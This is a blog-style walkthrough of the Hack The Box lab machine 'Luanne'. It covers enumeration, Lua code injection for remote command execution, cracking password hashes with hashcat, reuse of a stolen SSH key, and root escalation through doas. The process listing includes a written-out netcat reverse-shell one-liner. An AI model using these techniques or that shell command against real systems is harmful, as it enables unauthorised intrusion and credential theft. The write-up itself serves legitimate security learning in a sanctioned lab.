Hack The Box - Luanne

15 min read

I recently managed to complete another machine on Hack the Box, and in this post, I want to walk you through the steps I took to solve it. Luanne got released as an easy difficulty NetBSD machine. I can’t entirely agree with this difficulty level, as many others have also given this machine a lousy rating and got some critique in the forums. Nonetheless, I really enjoyed solving this machine. For me, the main problem was my lack of experience with BSD systems. It made me waste a lot of time getting my Linux reverse shell knowledge ported over to BSD. But forgetting that I was solving a BSD machine halfway through the challenge also didn’t help! Let’s dive into the machine and start our initial discovery with a nmap scan. The command will enumerate all versions -sV, run all default scripts -sC, and store the output in nmap.txt to refer back to it later.

Terminal window
$ nmap -sV -sC -o nmap.txt
# Nmap 7.91 scan initiated Thu Mar 25 20:12:44 2021 as: nmap -sC -sV -o nmap.txt
Nmap scan report for
Host is up (0.022s latency).
Not shown: 997 closed ports
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 25 20:16:04 2021 -- 1 IP address (1 host up) scanned in 200.25 seconds

At this point, I kicked off another scan in the background to scan all ports with -p-, but that didn’t turn up any new results. You can see that the target host has ports 22, 80 and 9001 open and is using NetBSD. A few other things to note is the robots.txt file behind the service running on port 80 and that both services require authentication.

I’m not sure what Medusa httpd or Supervisor process manager is. So I’m going to focus my attention first on the service running behind port 80. Opening up Firefox, we get greeted with a basic auth login prompt.

Port 80 Login Dialog

Cancelling the login prompt, I noticed something interesting. In the returned response, we get a reference to something running on localhost Probably an interesting service to take a deeper look at when I get a foothold on the machine!

Unauthorized Page

A gobuster scan gobuster dir -u -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -o 80-root.txt didn’t show anything interesting other than the 401 on /. Looking at robots.txt gives the following:

Terminal window
User-agent: *
Disallow: /weather #returning 404 but still harvesting cities

We already know that /weather is giving a 404 because it wasn’t showing up in our gobuster scan. But the comment indicates that this endpoint could still return something. So I kicked off another gobuster scan, this time focusing on the /weather endpoint.

Terminal window
$ gobuster dir -u -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -o ./weather.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
2021/03/25 20:43:31 Starting gobuster in directory enumeration mode
/forecast (Status: 200) [Size: 90]
2021/03/25 20:45:23 Finished

So the weather endpoint has /forecast that does return a 200. Let’s play around with curl and try to get a better understand of how this API works:

Terminal window
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
$ curl
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

It seems the API is relatively straightforward. Given a parameter city, it will provide you with the weather forecast for that city. This city parameter is something I can control and thus want to play around with next. Lets see see if we can get some weird results by adding special characters. I always like to manually add the following characters (%, " and ') because I find they often yield interesting results.

Terminal window
$ curl
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
$ curl\"
{"code": 500,"error": "unknown city: London""}
$ curl\'
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

Not sure what happened when injecting the percentage sign. It seems that it invalidated the whole query. But hard to say, for now, let’s keep that in mind for later. Because using a single quote returns a Lua error message. I have written some Lua code in the past but am by all means no expert in this language. I will need to do some research to better understand what constructs the language/runtime offers to get an RCE.

DuckDuckGo Searching For Lua Code Injection

This first article was fascinating, especially the following section, which gave me a good overview of how to construct my initial exploit.

Lua Code Injection Example

Continuing on this idea, I would like to make sure I can get some basic injection working. But for this, I’m going to move on to Burp Suite so I can have better control over the payload I’m going to inject. Playing around, I managed to cobble together a working payload:

Burp Suite Working RCE

Do notice the --, which is a comment in Lua and is required to get this exploit working. Adding a comment to the end of a payload is always an easy escape hatch to get an exploit to work. We can see it is working because the output of the id comment got appended in the response. We now know that we can execute commands as the _httpd user on the host.

At this point, I got stuck for some time trying to get a reverse shell up and running. I didn’t manage to get any of my default reverse shells working. I even tried writing the payload in Lua, but that didn’t work because of missing modules. Taking a step back, I remembered again that this target host was a BSD system. Searching around for a BSD specific reverse shell, I bumped into this repo.

Creating Reverse Shell in Burp

And I’ve got a shell:

Terminal window
$nc -lnvp 6666
listening on [any] 6666 ...
connect to [] from (UNKNOWN) [] 65485
sh: can't access tty; job control turned off
$ whoami
$ ls -al
total 20
drwxr-xr-x 2 root wheel 512 Nov 25 11:27 .
drwxr-xr-x 24 root wheel 512 Nov 24 09:55 ..
-rw-r--r-- 1 root wheel 47 Sep 16 2020 .htpasswd
-rw-r--r-- 1 root wheel 386 Sep 17 2020 index.html
-rw-r--r-- 1 root wheel 78 Nov 25 11:38 robots.txt

The directory seems to have a .htpasswd, which contains a UNIX md5 hash. We can verify this by dumping example hashes from hashcat and grep for the first couple of characters of the hash:

Terminal window
hashcat --example-hashes | grep '\$1\$' -B 1
MODE: 500
TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
HASH: $1$38652870$DUjsu4TTlTsOe/xxZ05uf/
TYPE: eCryptfs
HASH: $ecryptfs$0$1$4207883745556753$567daa975114206c
TYPE: FileVault 2
HASH: $fvde$1$16$84286044060108438487434858307513$20000$f1620ab93192112f0a23eea89b5d4df065661f974b704191
TYPE: BitLocker
HASH: $bitlocker$1$16$6f972989ddc209f1eccf07313a7266a2$1048576$12$3a33a8eaff5e6f81d907b591$60$316b0f6d4cb445fb056f0e3e0633c413526ff4481bbf588917b70a4e8f8075f5ceb45958a800b42cb7ff9b7f5e17c6145bf8561ea86f52d3592059fb

This shows what mode we should use to crack the password:

Terminal window
$ hashcat -a 0 -m 500 -o cracked.txt hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --username
$ cat cracked.txt

Hashcat appends the cracked password to the end of the line. The cracked password and username give access to the service running on port 80. But there is nothing much to be gained here:

Logged into service on port 80

I also tried to get access to the service running on port 9001, but the credentials didn’t seem to work for this service. Pretty early on, I noticed that Nginx was proxying to something on localhost. Let’s have a look and see what is running on this box:

Terminal window
$ ps auxww
root 0 0.0 0.2 0 11168 ? OKl 8:19PM 0:03.10 [system]
root 1 0.0 0.0 19852 1524 ? Is 8:19PM 0:00.01 init
root 163 0.0 0.0 32528 2292 ? Ss 8:19PM 0:00.05 /usr/sbin/syslogd -s
r.michaels 185 0.0 0.0 34992 1972 ? Is 8:19PM 0:00.00 /usr/libexec/httpd -u -X -s -i -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
root 298 0.0 0.0 19704 1336 ? Is 8:19PM 0:00.00 /usr/sbin/powerd
root 299 0.0 0.0 33368 1832 ? Is 8:19PM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
root 318 0.0 0.1 117944 7212 ? Il 8:19PM 0:11.27 /usr/pkg/bin/vmtoolsd
_httpd 336 0.0 0.2 118064 13548 ? Ss 8:19PM 0:05.40 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root 348 0.0 0.0 71348 2928 ? Is 8:19PM 0:00.01 /usr/sbin/sshd
nginx 373 0.0 0.1 33920 3248 ? I 8:19PM 0:02.91 nginx: worker process
_httpd 376 0.0 0.0 34952 1996 ? Is 8:19PM 0:00.01 /usr/libexec/httpd -u -X -s -i -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 402 0.0 0.0 20220 1668 ? Ss 8:19PM 0:00.04 /usr/sbin/cron
_httpd 411 0.0 0.0 20016 1652 ? I 8:19PM 0:00.22 /bin/sh /usr/local/scripts/processes.sh
_httpd 422 0.0 0.0 19988 1652 ? I 8:19PM 0:00.10 /bin/sh /usr/local/scripts/memory.sh
_httpd 436 0.0 0.0 19992 1652 ? I 8:19PM 0:00.09 /bin/sh /usr/local/scripts/uptime.sh
_httpd 4064 0.0 0.0 17640 1384 ? I 1:07AM 0:00.00 sleep 30
_httpd 4210 0.0 0.0 17636 1384 ? I 1:07AM 0:00.00 sleep 30
_httpd 4309 0.0 0.0 22708 1520 ? O 1:08AM 0:00.00 ps -auxww
_httpd 5897 0.0 0.0 20028 1716 ? I 10:46PM 0:00.00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 6666 >/tmp/f
_httpd 6338 0.0 0.0 15948 1400 ? S 10:46PM 0:00.00 nc 6666
_httpd 6888 0.0 0.0 20052 1688 ? S 10:46PM 0:00.00 /bin/sh -i
_httpd 7415 0.0 0.0 35252 2328 ? I 10:46PM 0:00.00 /usr/libexec/httpd -u -X -s -i -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 7517 0.0 0.0 15436 1284 ? S 10:46PM 0:00.00 cat /tmp/f
_httpd 11343 0.0 0.0 17636 1384 ? I 1:07AM 0:00.00 sleep 30
root 423 0.0 0.0 19780 1580 ttyE0 Is+ 8:19PM 0:00.00 /usr/libexec/getty Pc constty
root 421 0.0 0.0 19780 1576 ttyE1 Is+ 8:19PM 0:00.00 /usr/libexec/getty Pc ttyE1
root 388 0.0 0.0 19780 1584 ttyE2 Is+ 8:19PM 0:00.00 /usr/libexec/getty Pc ttyE2
root 433 0.0 0.0 19780 1584 ttyE3 Is+ 8:19PM 0:00.00 /usr/libexec/getty Pc ttyE3

There seem to be two services running on localhost, one on port 3000 and one on 3001. They both seem to be running the same httpd binary and weather service. But when looking closely, they seem to be using different scripts and command-line flags. It’s time to have a deeper look into this httpd binary:

/usr/libexec/httpd -u -X -s -i -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_dev
el.pid -U r.michaels -b /home/r.michaels/devel/www

With the help of my search engine, I bumped into this NetBSD httpd manpage. Let’s have a look and try to piece together what each argument does:

-uEnables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html
-XEnables directory indexing
-sForces logging to be set to stderr always.
-iSets the address to be used.
-ICauses httpd to use the given port instead of the default one.
-UCauses httpd to switch to the given user

The interesting thing here is the -u flag, which allows access to user directories by using a URL in the form of /~user/. -U, on the other hand, runs the service under a different user. So let’s have a look at the service running on port 3001. It requires some form of authentication, but we already managed to crack a password, lets see if that one works:

Terminal window
$ curl -u webapi_user:iamthebest localhost:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 146k 0 --:--:-- --:--:-- --:--:-- 146k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<tr><th>Name<th>Last modified<th align=right>Size
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB

A directory listing, showing an id_rsa file in r.michaels home directory. I downloaded the key with curl -u webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa and used ssh to login into the account from my local machine:

Terminal window
$ ssh -i id_rsa [email protected]
Last login: Fri Mar 26 01:41:54 2021 from
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ whoami
luanne$ ls -al
total 52
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 .
drwxr-xr-x 3 root wheel 512 Sep 14 2020 ..
-rw-r--r-- 1 r.michaels users 1772 Feb 14 2020 .cshrc
drwx------ 2 r.michaels users 512 Sep 14 2020 .gnupg
-rw-r--r-- 1 r.michaels users 431 Feb 14 2020 .login
-rw-r--r-- 1 r.michaels users 265 Feb 14 2020 .logout
-rw-r--r-- 1 r.michaels users 1498 Feb 14 2020 .profile
-rw-r--r-- 1 r.michaels users 166 Feb 14 2020 .shrc
dr-x------ 2 r.michaels users 512 Sep 16 2020 .ssh
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 backups
dr-xr-x--- 4 r.michaels users 512 Sep 16 2020 devel
dr-x------ 2 r.michaels users 512 Sep 16 2020 public_html
-r-------- 1 r.michaels users 33 Sep 16 2020 user.txt

And that’s the user flag right there /home/r.michaels/user.txt. This directory contains everything required to escalate privileges to the root account. This took me a bit of time to figure out. Initially, I started looking at privilege escalation detection scripts. But looking closely, I noticed the .gnupg contains a key, and the backups directory has an encrypted file.

Terminal window
luanne$ pwd
luanne$ ls -al .gnupg
total 16
drwx------ 2 r.michaels users 512 Sep 14 2020 .
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 ..
-rw------- 1 r.michaels users 603 Sep 14 2020 pubring.gpg
-rw------- 1 r.michaels users 1291 Sep 14 2020 secring.gpg
luanne$ ls -al backups/
total 12
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 .
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 ..
-r-------- 1 r.michaels users 1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc

Some research online reveals that on NetBSD the tool netpgp can be used used to decrypt files:

Terminal window
luanne$ cd backups/
luanne$ netpgp --decrypt --output=/tmp/backup.tar.gz devel_backup-2020-09-16.tar.gz.enc
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
luanne$ cd /tmp
luanne$ tar -xzvf backup.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd

Decrypting the file to the tmp directory and extracting it shows another .htpasswd file. Let’s also try and crack it in the same manner as before by copying the hash to our local machine and run hashcat on it.

Terminal window
$ hashcat -a 0 -m 500 -o cracked.txt hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --username --show
$ cat cracked.txt

Another password cracked! This time it returns littlebear, but it seems that this password is supposedly for the same webapi_user. On a BSD system, doas is the equivalent of sudo on Linux. So let’s see if r.micheals is allowed to run programs as root:

Terminal window
luanne$ doas whoami

Alright, we have root access with this password. Suppose you are in a situation where you want to play on the safe side, not set off any alarms, … . It’s possible first to check the doas.conf file, similar to the sudoers file on Linux; it will show if a user has sudo access and what access is allowed. I skipped this step because I couldn’t locate the doas.conf file on this NetBSD system and didn’t want to waste much more time. Or use a privilege escalation suite which could probably also detect this for you.

Terminal window
luanne$ doas sh
# ls
# cd /root
# ls -al
total 36
drwxr-xr-x 2 root wheel 512 Nov 24 09:30 .
drwxr-xr-x 21 root wheel 512 Sep 16 2020 ..
-r--r--r-- 2 root wheel 1220 Feb 14 2020 .cshrc
-rw------- 1 root wheel 59 Feb 14 2020 .klogin
-rw-r--r-- 1 root wheel 212 Feb 14 2020 .login
-r--r--r-- 2 root wheel 701 Feb 14 2020 .profile
-rw-r--r-- 1 root wheel 221 Feb 14 2020 .shrc
-r-x------ 1 root wheel 178 Nov 24 09:57 cleanup.sh
-r-------- 1 root wheel 33 Sep 16 2020 root.txt

And that’s the root flag /root/root.txt, which concludes my walkthrough.


This was a pretty fun challenge to solve. But I do think I got lucky a couple of times here there. I, for example, never dug into the service running on port 9001. When reading the official walkthrough afterwards, the Medusa Supervisor Process Manager running behind this port was configured using the default credentials of user and password 123. This application gives an overview of running processes and reveals that Lua script is running on this machine. From what I understood, this service would have no other use than that. So I got slightly lucky figuring out what language was used because of the error message leaking this back to me.

I always learn something new by solving these machines. This time I learned lots of new stuff about BSD systems and NetBSD in general. Something I would others rarely run in to or use in my day to day life. I am already looking forward to sharing my following walkthrough and learnings with you all.